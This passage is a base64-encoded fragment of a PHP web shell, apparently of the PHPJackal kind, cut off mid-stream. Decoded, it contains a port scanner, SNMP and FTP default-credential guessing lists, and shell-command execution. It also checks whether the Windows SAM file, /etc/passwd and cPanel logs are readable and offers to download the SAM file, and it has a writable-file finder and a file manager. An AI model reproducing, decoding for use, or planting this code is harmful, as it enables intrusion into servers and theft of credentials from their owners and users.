L3RkPjwvdHI+PHRkIHdpZHRoPVwiMjUlXCIgYmdjb2xvcj1cIiM4MDgwODBcIj5Gcm9tOjwvdGQ+PHRkIGJnY29sb3I9XCIjODA4MDgwXCIgd2lkdGg9ODAlPjxpbnB1dCBuYW1lPWZyb20gdmFsdWU9JGhvc3QuMSBzaXplPTQwPiA8aW5wdXQgdHlwZT1jaGVja2JveCB2YWx1ZT0xIHN0eWxlPVwiYm9yZGVyLXdpZHRoOjFweDtiYWNrZ3JvdW5kLWNvbG9yOiM4MDgwODA7XCIgbmFtZT1uc2xvb2t1cCBjaGVja2VkPk5TIGxvb2t1cDwvdGQ+PC90cj48dHI+PHRkIGJnY29sb3I9XCIjNjY2NjY2XCIgd2lkdGg9MjUlPlRvOjwvdGQ+PHRkIGJnY29sb3I9XCIjNjY2NjY2XCIgd2lkdGg9MjUlPnh4eC54eHgueHh4LjxpbnB1dCBuYW1lPXRvIHR5cGU9dGV4dCB2YWx1ZT0yNTQgc2l6ZT00PiRoY3dkPC90ZD48L3RyPjx0cj48dGQgd2lkdGg9XCIyNSVcIiBiZ2NvbG9yPVwiIzgwODA4MFwiPlRpbWVvdXQ6PC90ZD48dGQgYmdjb2xvcj1cIiM4MDgwODBcIj48aW5wdXQgbmFtZT10aW1lb3V0IHR5cGU9dGV4dCB2YWx1ZT1cIjJcIiBzaXplPTU+PC90ZD48L3RyPjx0cj48dGQgd2lkdGg9XCIyNSVcIiBiZ2NvbG9yPVwiIzY2NjY2NlwiPjxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9aXBzY2FubmVyIHZhbHVlPTEgY2hlY2tlZCBvbkNsaWNrPVwiZG9jdW1lbnQuc2VjdXJpdHkucG9ydC5kaXNhYmxlZCA9ICFkb2N1bWVudC5zZWN1cml0eS5wb3J0LmRpc2FibGVkO1wiIHN0eWxlPVwiYm9yZGVyLXdpZHRoOjFweDtiYWNrZ3JvdW5kLWNvbG9yOiM2NjY2NjY7XCI+UG9ydCBzY2FubmVyOjwvdGQ+PHRkIGJnY29sb3I9XCIjNjY2NjY2XCI+PGlucHV0IG5hbWU9cG9ydCB0eXBlPXRleHQgdmFsdWU9XCIyMSwyMywyNSw4MCwxMTAsMTM1LDEzOSwxNDMsNDQzLDQ0NSwxNDMzLDMzMDYsMzM4OSw4MDgwLDY1MzAxXCIgc2l6ZT02MD48L3RkPjwvdHI+PHRyPjx0ZCB3aWR0aD1cIjI1JVwiIGJnY29sb3I9XCIjODA4MDgwXCI+PGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT1odHRwYmFubmVyIHZhbHVlPTEgY2hlY2tlZCBzdHlsZT1cImJvcmRlci13aWR0aDoxcHg7YmFja2dyb3VuZC1jb2xvcjojODA4MDgwO1wiPkdldCB3ZWIgYmFubmVyPC90ZD48dGQgYmdjb2xvcj1cIiM4MDgwODBcIj48aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPWh0dHBzY2FubmVyIHZhbHVlPTEgY2hlY2tlZCBzdHlsZT1cImJvcmRlci13aWR0aDoxcHg7YmFja2dyb3VuZC1jb2xvcjojODA4MDgwO1wiPldlYnNlcnZlciBzZWN1cml0eSBzY2FubmluZyZuYnNwOyZuYnNwOyZuYnNwOzxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9c210cHJlbGF5IHZhbHVlPTEgY2hlY2tlZCBzdHlsZT1cImJvcmRlci13aWR0aDoxcHg7YmFja2dyb3VuZC1jb2xvcjojODA4MDgwO1wiPlNNVFAgcmVsYXkgY2hlY2s8L3RkPjwvdHI+PHRyPjx0ZCB3aWR0aD1cIjI1JVwiIGJnY29sb3I9XCIjNjY2NjY2XCI+PGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT1mdHBzY2FubmVyIHZhbHVlPTEgY2hlY2tlZCBvbkNsaWNrPVwiZG9jdW1lbnQuc2VjdXJpdHkudXNlcnBhc3MuZGlzYWJsZWQgPSAhZG9jdW1lbnQuc2VjdXJpdHkudXNlcnBhc3MuZGlzYWJsZWQ7XCIgc3R5bGU9XCJib3JkZXItd2lkdGg6MXB4O2JhY2tncm91bmQtY29sb3I6IzY2NjY2NjtcIj5GVFAgcGFzc3dvcmQ6PC90ZD48dGQgYmdjb2xvcj1cIiM2NjY2NjZcIj48aW5wdXQgbmFtZT11c2VycGFzcyB0eXBlPXRleHQgdmFsdWU9XCJhbm9ueW1vdXM6YWRtaW5AbmFzYS5nb3YsZnRwOmZ0cCxBZG1pbmlzdHJhdG9yOltCTEFOS10sZ3Vlc3Q6W0JMQU5LXVwiIHNpemU9NjA+PC90ZD48L3RyPjx0cj48dGQgd2lkdGg9XCIyNSVcIiBiZ2NvbG9yPVwiIzgwODA4MFwiPjxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9c25tcHNjYW5uZXIgdmFsdWU9MSBvbkNsaWNrPVwiZG9jdW1lbnQuc2VjdXJpdHkuY29tLmRpc2FibGVkID0gIWRvY3VtZW50LnNlY3VyaXR5LmNvbS5kaXNhYmxlZDtcIiBjaGVja2VkIHN0eWxlPVwiYm9yZGVyLXdpZHRoOjFweDtiYWNrZ3JvdW5kLWNvbG9yOiM4MDgwODA7XCI+U05NUDo8L3RkPjx0ZCBiZ2NvbG9yPVwiIzgwODA4MFwiPjxpbnB1dCBuYW1lPWNvbSB0eXBlPXRleHQgdmFsdWU9XCJwdWJsaWMscHJpdmF0ZSxzZWNyZXQsY2lzY28sd3JpdGUsdGVzdCxndWVzdCxpbG1pLElMTUkscGFzc3dvcmQsYWxsIHByaXZhdGUsYWRtaW4sYWxsLHN5c3RlbSxtb25pdG9yLGFnZW50LG1hbmFnZXIsT3JpZ0VxdWlwTWZyLGRlZmF1bHQsdGl2b2xpLG9wZW52aWV3LGNvbW11bml0eSxzbm1wLHNubXBkLFNlY3JldCBDMGRlLHNlY3VyaXR5LHJtb24scm1vbl9hZG1pbixocF9hZG1pbixOb0dhSCRAISxhZ2VudF9zdGVhbCxmcmVla2V2aW4sMDM5MmEwLGNhYmxlLWRvY3NpcyxmdWJhcixBTllDT00sQ2lzY28gcm91dGVyLHh5enp5LGMsY2MsY2FzY2FkZSx5ZWxsb3csYmx1ZSxpbnRlcm5hbCxjb21jb21jb20sYXBjLFRFTm1hblVGYWN0T3J5UE9XRVIscHJveHksY29yZSxyZWdpb25hbFwiIHNpemU9NjA+PC90ZD48L3RyPjx0cj48dGQgd2lkdGg9XCIyNSVcIiBiZ2NvbG9yPVwiIzY2NjY2NlwiPjwvdGQ+PHRkIGJnY29sb3I9XCIjNjY2NjY2XCIgYWxpZ249XCJyaWdodFwiPjxpbnB1dCB0eXBlPXN1Ym1pdCBjbGFzcz1idXR0b25zIG5hbWU9c2VjdXJpdHlzY2FubmVyIHZhbHVlPVNjYW4+PC90ZD48L3RyPjwvZm9ybT48L3RhYmxlPjwvY2VudGVyPjxicj48Y2VudGVyPiI7Cn0KfQpmdW5jdGlvbiBzeXNpbmZPKCl7Cmdsb2JhbCAkd2luZG93cywkZGlzYWJsZWZ1bmN0aW9ucywkc2FmZW1vZGU7CiRjd2Q9IGdldGN3ZCgpOwokbWlsPSI8YSB0YXJnZXQ9XCJfYmxhbmtcIiBocmVmPVwiaHR0cDovL3d3dy5taWx3MHJtLm9yZy9yZWxhdGVkLnBocD9wcm9ncmFtPSI7CiRiYXNlZGlyPShpbmlfZ2V0KCJvcGVuX2Jhc2VkaXIiKSBvciBzdHJ0b3VwcGVyKGluaV9nZXQoIm9wZW5fYmFzZWRpciIpKT09Ik9OIik/Ik9OIjoiT0ZGIjsKaWYgKCFlbXB0eSgkX1NFUlZFUlsiUFJPQ0VTU09SX0lERU5USUZJRVIiXSkpICRDUFUgPSAkX1NFUlZFUlsiUFJPQ0VTU09SX0lERU5USUZJRVIiXTsKJG9zdmVyPSR0c2l6ZT0kZnNpemU9Jyc7CmlmICgkd2luZG93cyl7IAokb3N2ZXIgPSAiICAoIi5zaGVsTCgidmVyIikuIikiOwokc3lzcm9vdCA9IHNoZWxMKCJlY2hvICVzeXN0ZW1yb290JSIpOwppZiAoZW1wdHkoJHN5c3Jvb3QpKSAkc3lzcm9vdCA9ICRfU0VSVkVSWyJTeXN0ZW1Sb290Il07CmlmIChlbXB0eSgkc3lzcm9vdCkpICRzeXNyb290ID0gZ2V0ZW52KCJ3aW5kaXIiKTsKaWYgKGVtcHR5KCRzeXNyb290KSkgJHN5c3Jvb3QgPSAiTm90IEZvdW5kIjsKaWYgKGVtcHR5KCRDUFUpKSRDUFUgPSBzaGVsTCgiZWNobyAlUFJPQ0VTU09SX0lERU5USUZJRVIlIik7CmZvciAoJGk9NjY7JGk8PTkwOyRpKyspewokZHJpdmU9IGNocigkaSkuJzpcXCc7CmlmIChpc19kaXIoJGRyaXZlKSl7CiRmc2l6ZSs9QGRpc2tfZnJlZV9zcGFjZSgkZHJpdmUpOwokdHNpemUrPUBkaXNrX3RvdGFsX3NwYWNlKCRkcml2ZSk7Cn0KfQp9ZWxzZXsKJGZzaXplPWRpc2tfZnJlZV9zcGFjZSgnLycpOwokdHNpemU9ZGlza190b3RhbF9zcGFjZSgnLycpOwp9CiRkaXNrc2l6ZT0iVXNlZCBzcGFzZTogIi4gc2hvd3NpekUoJHRzaXplLSRmc2l6ZSkgLiAiICAgRnJlZSBzcGFjZTogIi4gc2hvd3NpekUoJGZzaXplKSAuICIgICBUb3RhbCBzcGFjZTogIi4gc2hvd3NpekUoJHRzaXplKTsKaWYgKGVtcHR5KCRDUFUpKSAkQ1BVID0gIlVua25vdyI7CiRvcyA9IHBocF91bmFtRSgpOwokb3NuPXBocF91bmFtRSgncycpOwppZighJHdpbmRvd3MpeyAKJGtlciA9IHBocF91bmFtRSgncicpOwokbz0oJG9zbj09IkxpbnV4Iik/IkxpbnV4K0tlcm5lbCI6JG9zbjsKJG9zID0gc3RyX3JlcGxhY2UoJG9zbiwiJHttaWx9JG9cIj4kb3NuPC9hPiIsJG9zKTsKJG9zID0gc3RyX3JlcGxhY2UoJGtlciwiJHttaWx9TGludXgrS2VybmVsXCI+JGtlcjwvYT4iLCRvcyk7CiRpbnBhPSc6JzsKfWVsc2V7CiRzYW0gPSAkc3lzcm9vdC4iXFxzeXN0ZW0zMlxcY29uZmlnXFxTQU0iOwokaW5wYT0nOyc7CiRvcyA9IHN0cl9yZXBsYWNlKCRvc24sIiR7bWlsfU1TK1dpbmRvd3NcIj4kb3NuPC9hPiIsJG9zKTsKfQokc29mdHdhcmU9c3RyX3JlcGxhY2UoIkFwYWNoZSIsIiR7bWlsfUFwYWNoZVwiPkFwYWNoZTwvYT4iLCRfU0VSVkVSWydTRVJWRVJfU09GVFdBUkUnXSk7CmVjaG8gIjx0YWJsZSBib3JkZXI9MCBjZWxscGFkZGluZz0wIGNlbGxzcGFjaW5nPTAgc3R5bGU9XCJib3JkZXItY29sbGFwc2U6IGNvbGxhcHNlXCIgYm9yZGVyY29sb3I9XCIjMjgyODI4XCIgYmdjb2xvcj1cIiMzMzMzMzNcIiB3aWR0aD1cIjEwMCVcIj48dHI+PHRkPlNlcnZlciBpbmZvcm1hdGlvbjo8L3RkPjwvdHI+PHRyPjx0ZCB3aWR0aD1cIjI1JVwiIGJnY29sb3I9XCIjNjY2NjY2XCI+U2VydmVyOjwvdGQ+PHRkIGJnY29sb3I9XCIjNjY2NjY2XCI+Ii4kX1NFUlZFUlsiSFRUUF9IT1NUIl07IGlmICghZW1wdHkoJF9TRVJWRVJbIlNFUlZFUl9BRERSIl0pKXsgZWNobyAiKCIuICRfU0VSVkVSWyJTRVJWRVJfQUREUiJdIC4iKSI7fWVjaG8gIjwvdGQ+PC90cj48dHI+PHRkIHdpZHRoPVwiMjUlXCIgYmdjb2xvcj1cIiM4MDgwODBcIj5PcGVyYXRpb24gc3lzdGVtOjwvdGQ+PHRkIGJnY29sb3I9XCIjODA4MDgwXCI+JG9zJG9zdmVyPC90ZD48L3RyPjx0cj48dGQgd2lkdGg9XCIyNSVcIiBiZ2NvbG9yPVwiIzY2NjY2NlwiPldlYiBzZXJ2ZXIgYXBwbGljYXRpb246PC90ZD48dGQgYmdjb2xvcj1cIiM2NjY2NjZcIj4kc29mdHdhcmU8L3RkPjwvdHI+PHRyPjx0ZCB3aWR0aD1cIjI1JVwiIGJnY29sb3I9XCIjODA4MDgwXCI+Q1BVOjwvdGQ+PHRkIGJnY29sb3I9XCIjODA4MDgwXCI+JENQVTwvdGQ+PC90cj48dGQgd2lkdGg9XCIyNSVcIiBiZ2NvbG9yPVwiIzY2NjY2NlwiPkRpc2sgc3RhdHVzOjwvdGQ+PHRkIGJnY29sb3I9XCIjNjY2NjY2XCI+JGRpc2tzaXplPC90ZD48L3RyPjx0cj48dGQgd2lkdGg9XCIyNSVcIiBiZ2NvbG9yPVwiIzgwODA4MFwiPlVzZXIgZG9tYWluOjwvdGQ+PHRkIGJnY29sb3I9XCIjODA4MDgwXCI+IjtpZiAoIWVtcHR5KCRfU0VSVkVSWydVU0VSRE9NQUlOJ10pKSBlY2hvICRfU0VSVkVSWydVU0VSRE9NQUlOJ107ZWxzZSBlY2hvICJVbmtub3ciOyBlY2hvICI8L3RkPjwvdHI+PHRyPjx0ZCB3aWR0aD1cIjI1JVwiIGJnY29sb3I9XCIjNjY2NjY2XCI+VXNlciBuYW1lOjwvdGQ+PHRkIGJnY29sb3I9XCIjNjY2NjY2XCI+IjskY3VzZXI9Z2V0X2N1cnJlbnRfdXNlcigpO2lmICghZW1wdHkoJGN1c2VyKSkgZWNobyBnZXRfY3VycmVudF91c2VyKCk7ZWxzZSBlY2hvICJVbmtub3ciOyBlY2hvICI8L3RkPjwvdHI+IjsKaWYgKCR3aW5kb3dzKXsKZWNobyAiPHRyPjx0ZCB3aWR0aD1cIjI1JVwiIGJnY29sb3I9XCIjODA4MDgwXCI+V2luZG93cyBkaXJlY3Rvcnk6PC90ZD48dGQgYmdjb2xvcj1cIiM4MDgwODBcIj48YSBocmVmPVwiIi5obGluSygic2VDPWZtJndvcmtpbmdkaVI9JHN5c3Jvb3QiKS4iXCI+JHN5c3Jvb3Q8L2E+PC90ZD48L3RyPjx0cj48dGQgd2lkdGg9XCIyNSVcIiBiZ2NvbG9yPVwiIzY2NjY2NlwiPlNhbSBmaWxlOjwvdGQ+PHRkIGJnY29sb3I9XCIjNjY2NjY2XCI+IjtpZiAoaXNfcmVhZGFibGUoKCRzYW0pKSllY2hvICI8YSBocmVmPVwiIi5obGluSygiP3dvcmtpbmdkaVI9JHN5c3Jvb3RcXHN5c3RlbTMyXFxjb25maWcmZG93bmxvYUQ9c2FtIikuIlwiPlJlYWRhYmxlPC9hPiI7IGVsc2UgZWNobyAiTm90IHJlYWRhYmxlIjtlY2hvICI8L3RkPjwvdHI+IjsKfQplbHNlCnsKZWNobyAiPHRyPjx0ZCB3aWR0aD1cIjI1JVwiIGJnY29sb3I9XCIjODA4MDgwXCI+UGFzc3dkIGZpbGU6PC90ZD48dGQgYmdjb2xvcj1cIiM4MDgwODBcIj4iOwppZiAoaXNfcmVhZGFibGUoJy9ldGMvcGFzc3dkJykpIGVjaG8gIjxhIGhyZWY9XCIiLmhsaW5LKCJzZUM9ZWRpdCZmaWxFPS9ldGMvcGFzc3dkJndvcmtpbmdkaVI9JGN3ZCIpLiJcIj5SZWFkYWJsZTwvYT4iOyBlbHNlIGVjaG8nTm90IHJlYWRhYmxlJztlY2hvICI8L3RkPjwvdHI+PHRyPjx0ZCB3aWR0aD1cIjI1JVwiIGJnY29sb3I9XCIjNjY2NjY2XCI+Q3BhbmVsIGxvZyBmaWxlOjwvdGQ+PHRkIGJnY29sb3I9XCIjNjY2NjY2XCI+IjsKaWYgKGZpbGVfZXhpc3RzKCIvdmFyL2NwYW5lbC9hY2NvdW50aW5nLmxvZyIpKXtpZiAoaXNfcmVhZGFibGUoIi92YXIvY3BhbmVsL2FjY291bnRpbmcubG9nIikpIGVjaG8gIjxhIGhyZWY9XCIiLmhsaW5LKCJzZUM9ZWRpdCZmaWxFPS92YXIvY3BhbmVsL2FjY291bnRpbmcubG9nJndvcmtpbmdkaVI9JGN3ZCIpLiJcIj5SZWFkYWJsZTwvYT4iOyBlbHNlIGVjaG8gIk5vdCByZWFkYWJsZSI7fWVsc2UgZWNobyAiTm90IGZvdW5kIjsKZWNobyAiPC90ZD48L3RyPiI7Cn0KJHVpcCA9KCFlbXB0eSgkX1NFUlZFUlsnUkVNT1RFX0FERFInXSkpPyRfU0VSVkVSWydSRU1PVEVfQUREUiddOmdldGVudignUkVNT1RFX0FERFInKTsKZWNobyAiPHRyPjx0ZCB3aWR0aD1cIjI1JVwiIGJnY29sb3I9XCIjODA4MDgwXCI+JHttaWx9UEhQXCI+UEhQPC9hPiB2ZXJzaW9uOjwvdGQ+PHRkIGJnY29sb3I9XCIjODA4MDgwXCI+PGEgaHJlZj1cIj89Ii5waHBfbG9nb19ndWlkKCkuIlwiIHRhcmdldD1cIl9ibGFua1wiPiIuUEhQX1ZFUlNJT04uIjwvYT4gKDxhIGhyZWY9XCIiLmhsaW5LKCJzZUM9cGhwaW5mbyZ3b3JraW5nZGlSPSRjd2QiKS4iXCI+bW9yZS4uLjwvYT4pPC90ZD48L3RyPjx0cj48dGQgd2lkdGg9XCIyNSVcIiBiZ2NvbG9yPVwiIzY2NjY2NlwiPlplbmQgdmVyc2lvbjo8L3RkPjx0ZCBiZ2NvbG9yPVwiIzY2NjY2NlwiPiI7aWYgKGZ1bmN0aW9uX2V4aXN0cygnemVuZF92ZXJzaW9uJykpIGVjaG8gIjxhIGhyZWY9XCI/PSIuemVuZF9sb2dvX2d1aWQoKS4iXCIgdGFyZ2V0PVwiX2JsYW5rXCI+Ii56ZW5kX3ZlcnNpb24oKS4iPC9hPiI7ZWxzZSBlY2hvICJOb3QgRm91bmQiO2VjaG8gIjwvdGQ+PHRyPjx0ZCB3aWR0aD1cIjI1JVwiIGJnY29sb3I9XCIjODA4MDgwXCI+SW5jbHVkZSBwYXRoOjwvdGQ+PHRkIGJnY29sb3I9XCIjODA4MDgwXCI+Ii5zdHJfcmVwbGFjZSgkaW5wYSwiICIsREVGQVVMVF9JTkNMVURFX1BBVEgpLiI8L3RkPjx0cj48dGQgd2lkdGg9XCIyNSVcIiBiZ2NvbG9yPVwiIzY2NjY2NlwiPlBIUCBNb2R1bGVzOjwvdGQ+PHRkIGJnY29sb3I9XCIjNjY2NjY2XCI+IjskZXh0PWdldF9sb2FkZWRfZXh0ZW5zaW9ucygpO2ZvcmVhY2goJGV4dCBhcyAkdillY2hvICR2LiIgIjtlY2hvICI8L3RkPjx0cj48dGQgd2lkdGg9XCIyNSVcIiBiZ2NvbG9yPVwiIzgwODA4MFwiPkRpc2FibGVkIGZ1bmN0aW9uczo8L3RkPjx0ZCBiZ2NvbG9yPVwiIzgwODA4MFwiPiI7aWYoIWVtcHR5KCRkaXNhYmxlZnVuY3Rpb25zKSllY2hvICRkaXNhYmxlZnVuY3Rpb25zO2Vsc2UgZWNobyAiTm90aGluZyI7IGVjaG8iPC90ZD48L3RyPjx0cj48dGQgd2lkdGg9XCIyNSVcIiBiZ2NvbG9yPVwiIzY2NjY2NlwiPlNhZmUgbW9kZTo8L3RkPjx0ZCBiZ2NvbG9yPVwiIzY2NjY2NlwiPiRzYWZlbW9kZTwvdGQ+PC90cj48dHI+PHRkIHdpZHRoPVwiMjUlXCIgYmdjb2xvcj1cIiM4MDgwODBcIj5PcGVuIGJhc2UgZGlyOjwvdGQ+PHRkIGJnY29sb3I9XCIjODA4MDgwXCI+JGJhc2VkaXI8L3RkPjwvdHI+PHRyPjx0ZCB3aWR0aD1cIjI1JVwiIGJnY29sb3I9XCIjNjY2NjY2XCI+REJNUzo8L3RkPjx0ZCBiZ2NvbG9yPVwiIzY2NjY2NlwiPiI7JHNxPSIiO2lmKGZ1bmN0aW9uX2V4aXN0cygnbXlzcWxfY29ubmVjdCcpKSAkc3E9ICIke21pbH1NeVNRTFwiPk15U1FMPC9hPiAiO2lmKGZ1bmN0aW9uX2V4aXN0cygnbXNzcWxfY29ubmVjdCcpKSAkc3EuPSAiICR7bWlsfU1TU1FMXCI+TVNTUUw8L2E+ICI7aWYoZnVuY3Rpb25fZXhpc3RzKCdvcmFfbG9nb24nKSkgJHNxLj0gIiAke21pbH1PcmFjbGVcIj5PcmFjbGU8L2E+ICI7aWYoZnVuY3Rpb25fZXhpc3RzKCdzcWxpdGVfb3BlbicpKSAkc3EuPSAiIFNRTGl0ZSAiO2lmKGZ1bmN0aW9uX2V4aXN0cygncGdfY29ubmVjdCcpKSAkc3EuPSAiICR7bWlsfVBvc3RncmVTUUxcIj5Qb3N0Z3JlU1FMPC9hPiAiO2lmKGZ1bmN0aW9uX2V4aXN0cygnbXNxbF9jb25uZWN0JykpICRzcS49ICIgbVNRTCAiO2lmKGZ1bmN0aW9uX2V4aXN0cygnbXlzcWxpX2Nvbm5lY3QnKSkkc3EuPSAiIE15U1FMaSAiO2lmKGZ1bmN0aW9uX2V4aXN0cygnb3ZyaW1vc19jb25uZWN0JykpICRzcS49ICIgT3ZyaW1vcyBTUUwgIjtpZiAoJHNxPT0iIikgJHNxPSAiTm90aGluZyI7IGVjaG8gIiRzcTwvdGQ+PC90cj4iO2lmIChmdW5jdGlvbl9leGlzdHMoJ2N1cmxfaW5pdCcpKSBlY2hvICI8dHI+PHRkIHdpZHRoPVwiMjUlXCIgYmdjb2xvcj1cIiM4MDgwODBcIj5jVVJMIHN1cHBvcnQ6PC90ZD48dGQgYmdjb2xvcj1cIiM4MDgwODBcIj5FbmFibGVkICI7aWYoZnVuY3Rpb25fZXhpc3RzKCdjdXJsX3ZlcnNpb24nKSl7JHZlcj1jdXJsX3ZlcnNpb24oKTtlY2hvICIoVmVyc2lvbjoiLiAkdmVyWyd2ZXJzaW9uJ10uIiBPcGVuU1NMIHZlcnNpb246Ii4gJHZlclsnc3NsX3ZlcnNpb24nXS4iIHpsaWIgdmVyc2lvbjoiLiAkdmVyWydsaWJ6X3ZlcnNpb24nXS4iIGhvc3Q6Ii4gJHZlclsnaG9zdCddIC4iKSI7fWVjaG8gIjwvdGQ+PC90cj4iO2VjaG8gIjx0cj48dGQ+VXNlciBpbmZvcm1hdGlvbjo8L3RkPjwvdHI+PHRyPjx0ZCB3aWR0aD1cIjI1JVwiIGJnY29sb3I9XCIjNjY2NjY2XCI+SVA6PC90ZD48dGQgYmdjb2xvcj1cIiM2NjY2NjZcIj4kdWlwPC90ZD48L3RyPjx0cj48dGQgd2lkdGg9XCIyNSVcIiBiZ2NvbG9yPVwiIzgwODA4MFwiPkFnZW50OjwvdGQ+PHRkIGJnY29sb3I9XCIjODA4MDgwXCI+Ii5nZXRlbnYoJ0hUVFBfVVNFUl9BR0VOVCcpLiI8L3RkPjwvdHI+PC90YWJsZT4iOwp9CmZ1bmN0aW9uIGNoZWNrc3VNKCRmaWxlKXsKZ2xvYmFsICRldDsKZWNobyAiPHRhYmxlIGJvcmRlcj0wIHN0eWxlPVwiYm9yZGVyLWNvbGxhcHNlOiBjb2xsYXBzZVwiIGJvcmRlcmNvbG9yPVwiIzI4MjgyOFwiIHdpZHRoPVwiMTAwJVwiPjx0cj48dGQgd2lkdGg9XCIxMCVcIiBiZ2NvbG9yPVwiIzY2NjY2NlwiPjxiPk1ENTo8L2I+IDxmb250IGNvbG9yPSNGMEYwRjA+Ii5tZDVfZmlsZSgkZmlsZSkuIjwvZm9udD48YnI+PGI+U0hBMTo8L2I+IDxmb250IGNvbG9yPSNGMEYwRjA+Ii5zaGExX2ZpbGUoJGZpbGUpLiI8L2ZvbnQ+JGV0IjsKfQpmdW5jdGlvbiBsaXN0ZGlSKCRjd2QsJHRhc2spewokYz0gZ2V0Y3dkKCk7CiRkaCA9IG9wZW5kaXIoJGN3ZCk7CndoaWxlICgkY29udD1yZWFkZGlyKCRkaCkpewppZigkY29udD09Jy4nIHx8ICRjb250PT0nLi4nKWNvbnRpbnVlOwokYWRyID0gJGN3ZC5ESVJFQ1RPUllfU0VQQVJBVE9SLiRjb250Owpzd2l0Y2ggKCR0YXNrKXsKY2FzZSAnMCc6aWYoaXNfZmlsZSgkYWRyKSllY2hvICJbPGEgaHJlZj1cIiIuaGxpbksoInNlQz1lZGl0JmZpbEU9JGFkciZ3b3JraW5nZGlSPSRjIikuIlwiPiRhZHI8L2E+XVxuIjtpZihpc19kaXIoJGFkcikpZWNobyAiWzxhIGhyZWY9XCIiLmhsaW5LKCJzZUM9Zm0md29ya2luZ2RpUj0kYWRyIikuIlwiPiRhZHI8L2E+XVxuIjticmVhazsKY2FzZSAnMSc6aWYoaXNfd3JpdGVhYmxlKCRhZHIpKWlmKGlzX2ZpbGUoJGFkcikpZWNobyAiWzxhIGhyZWY9XCIiLmhsaW5LKCJzZUM9ZWRpdCZmaWxFPSRhZHImd29ya2luZ2RpUj0kYyIpLiJcIj4kYWRyPC9hPl1cbiI7aWYoaXNfZGlyKCRhZHIpKWVjaG8gIls8YSBocmVmPVwiIi5obGluSygic2VDPWZtJndvcmtpbmdkaVI9JGFkciIpLiJcIj4kYWRyPC9hPl1cbiI7YnJlYWs7CmNhc2UgJzInOmlmKGlzX2ZpbGUoJGFkcikgJiYgIGlzX3dyaXRlYWJsZSgkYWRyKSllY2hvICJbPGEgaHJlZj1cIiIuaGxpbksoInNlQz1lZGl0JmZpbEU9JGFkciZ3b3JraW5nZGlSPSRjIikuIlwiPiRhZHI8L2E+XVxuIjticmVhazsKY2FzZSAnMyc6aWYoaXNfZGlyKCRhZHIpICYmIGlzX3dyaXRlYWJsZSgkYWRyKSllY2hvICJbPGEgaHJlZj1cIiIuaGxpbksoInNlQz1mbSZ3b3JraW5nZGlSPSRhZHIiKS4iXCI+JGFkcjwvYT5dXG4iO2JyZWFrOwpjYXNlICc0JzppZihpc19maWxlKCRhZHIpKWVjaG8gIls8YSBocmVmPVwiIi5obGluSygic2VDPWVkaXQmZmlsRT0kYWRyJndvcmtpbmdkaVI9JGMiKS4iXCI+JGFkcjwvYT5dXG4iO2JyZWFrOwpjYXNlICc1JzppZihpc19kaXIoJGFkcikpZWNobyAiWzxhIGhyZWY9XCIiLmhsaW5LKCJzZUM9Zm0md29ya2luZ2RpUj0kYWRyIikuIlwiPiRhZHI8L2E+XVxuIjticmVhazsKY2FzZSAnNic6aWYocHJlZ19tYXRjaCgiQCIuJF9SRVFVRVNUWydzZWFyY2gnXS4iQCIsJGNvbnQpKXtpZihpc19maWxlKCRhZHIpKWVjaG8gIls8YSBocmVmPVwiIi5obGluSygic2VDPWVkaXQmZmlsRT0kYWRyJndvcmtpbmdkaVI9JGMiKS4iXCI+JGFkcjwvYT5dXG4iO2lmKGlzX2RpcigkYWRyKSllY2hvICJbPGEgaHJlZj1cIiIuaGxpbksoInNlQz1mbSZ3b3JraW5nZGlSPSRhZHIiKS4iXCI+JGFkcjwvYT5dXG4iO31icmVhazsKY2FzZSAnNyc6aWYoc3Ryc3RyKCRjb250LCRfUkVRVUVTVFsnc2VhcmNoJ10pKXtpZihpc19maWxlKCRhZHIpKWVjaG8gIls8YSBocmVmPVwiIi5obGluSygic2VDPWVkaXQmZmlsRT0kYWRyJndvcmtpbmdkaVI9JGMiKS4iXCI+JGFkcjwvYT5dXG4iO2lmKGlzX2RpcigkYWRyKSllY2hvICJbPGEgaHJlZj1cIiIuaGxpbksoInNlQz1mbSZ3b3JraW5nZGlSPSRhZHIiKS4iXCI+JGFkcjwvYT5dXG4iO31icmVhazsKfQppZiAoaXNfZGlyKCRhZHIpKSBsaXN0ZGlSKCRhZHIsJF9SRVFVRVNUWyd0YXNrJ10pOwp9Cn0KaWYgKCFmdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldHB3dWlkIikgJiYgIXN0cnN0cigkZGlzYWJsZWZ1bmN0aW9ucywncG9zaXhfZ2V0cHd1aWQnKSkge2Z1bmN0aW9uIHBvc2l4X2dldHB3dWlkKCR1KSB7cmV0dXJuIDA7fX0KaWYgKCFmdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldGdyZ2lkIikgJiYgIXN0cnN0cigkZGlzYWJsZWZ1bmN0aW9ucywncG9zaXhfZ2V0Z3JnaWQnKSkge2Z1bmN0aW9uIHBvc2l4X2dldGdyZ2lkKCRnKSB7cmV0dXJuIDA7fX0KZnVuY3Rpb24gZmlsZW1hbmFnZXIoKXsKZ2xvYmFsICR3aW5kb3dzLCRtc2dib3gsJGVycm9yYm94LCR0LCRldCwkaGN3ZDsKJGN3ZD0gZ2V0Y3dkKCk7CiR0YWJsZSA9ICI8dGFibGUgYm9yZGVyPTAgY2VsbHBhZGRpbmc9MCBjZWxsc3BhY2luZz0wIHN0eWxlPVwiYm9yZGVyLWNvbGxhcHNlOiBjb2xsYXBzZVwiIGJvcmRlcmNvbG9yPVwiIzI4MjgyOFwiIGJnY29sb3I9XCIjMzMzMzMzXCIgd2lkdGg9XCIxMDAlXCI+IjsKJHRkMW49Ijx0ZCB3aWR0aD1cIjIyJVwiIGJnY29sb3I9XCIjNjY2NjY2XCI+IjsKJHRkMm09Ijx0ZCB3aWR0aD1cIjIyJVwiIGJnY29sb3I9XCIjODA4MDgwXCI+IjsKJHRkMWk9Ijx0ZCB3aWR0aD1cIjUlXCIgYmdjb2xvcj1cIiM2NjY2NjZcIj4iOwokdGQyaT0iPHRkIHdpZHRoPVwiNSVcIiBiZ2NvbG9yPVwiIzgwODA4MFwiPiI7CiR0ZG5yPSI8dGQgd2lkdGg9XCIyMiVcIiBiZ2NvbG9yPVwiIzgwMDAwMFwiPiI7CiR0ZHc9Ijx0ZCB3aWR0aD1cIjIyJVwiIGJnY29sb3I9XCIjMDA2RTAwXCI+IjsKaWYgKCFlbX